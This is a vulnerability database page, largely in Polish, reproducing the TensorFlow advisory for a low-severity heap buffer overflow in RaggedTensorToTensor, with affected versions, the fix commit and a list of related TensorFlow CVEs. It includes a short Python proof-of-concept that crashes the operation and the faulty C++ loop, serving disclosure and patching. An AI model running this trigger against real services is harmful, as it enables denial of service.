Zaloguj się
Deutsch English Español Polski
Niska

Heap buffer overflow in `RaggedTensorToTensor`

  • Ujawniono: 14.05.2021
  • Aktualizacja: 11.10.2026 13:19

Impact

An attacker can cause a heap buffer overflow in tf.raw_ops.RaggedTensorToTensor:

python
import tensorflow as tf

shape = tf.constant([10, 10], shape=[2], dtype=tf.int64)
values = tf.constant(0, shape=[1], dtype=tf.int64)
default_value = tf.constant(0, dtype=tf.int64)
l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
row = tf.constant(l, shape=[5, 43], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
    shape=shape, values=values, default_value=default_value,
    row_partition_tensors=rows, row_partition_types=types)

This is because the implementation uses the same index to access two arrays in parallel:

cc
for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {
  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);
  INDEX_TYPE real_length = std::min(output_size, row_length);
  INDEX_TYPE parent_output_index_current = parent_output_index[i];
  ...
}

Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when parent_output_index is shorter than row_split.

Patches

We have patched the issue in GitHub commit a84358aa12f0b1518e606095ab9cfddbf597c121.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) tensorflow < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-cpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
Python (PyPI) tensorflow-gpu < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2

Odnośniki

Ocena CVSS 2.5/10
Wektor CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Słabość (CWE)
CWE-125, CWE-787
Platforma
Python (PyPI)
Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu
Ujawniono
14.05.2021
Aktualizacja
11.10.2026 13:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2021-197 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-488 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-686 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-8gv3-57p6-g35r - CC BY 4.0

Historia podatności: tensorflow-gpu

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (427) w archiwum
Wszystkich wpisów
427
Pierwsza → ostatnia
04.2019 07.2024
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 6
  • Wysoka 109
  • Średnia 207
  • Niska 105

Ujawnienia w latach

Istotność:
  1. Heap buffer overflow in `RaggedTensorToTensor` ten wpis
    Niska · 2.5 CVE-2021-29560 < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 2.1.4, 2.2.3, 2.3.3, 2.4.2
  2. TensorFlow has segfault in array_ops.upper_bound
    Wysoka · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    Wysoka · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    Wysoka · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. TensorFlow vulnerable to integer overflow in EditDistance
    Wysoka · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    Wysoka · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. TensorFlow has Null Pointer Error in SparseSparseMaximum
    Wysoka · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. TensorFlow has Floating Point Exception in AudioSpectrogram
    Wysoka · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Krytyczna · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  10. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    Wysoka · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    Wysoka · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  12. TensorFlow has Null Pointer Error in LookupTableImportV2
    Wysoka · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    Wysoka · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    Wysoka · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. TensorFlow has Segfault in Bincount with XLA
    Wysoka · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. TensorFlow has null dereference on ParallelConcat with XLA
    Wysoka · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. TensorFlow has double free in Fractional(Max/Avg)Pool
    Wysoka · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. TensorFlow has Floating Point Exception in TFLite in conv kernel
    Wysoka · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    Wysoka · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  20. Out of bounds write in grappler in Tensorflow
    Wysoka · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    Wysoka · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
Pokaż więcej (20) Widać 21 z 116

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Polityka prywatności

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.